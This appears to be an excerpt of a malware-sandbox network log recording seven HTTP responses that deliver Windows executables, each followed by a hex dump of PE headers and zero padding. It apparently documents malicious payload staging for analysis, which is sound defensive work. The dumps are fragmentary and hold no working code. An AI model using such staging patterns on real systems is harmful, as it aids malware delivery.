Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:53:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 05:54:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
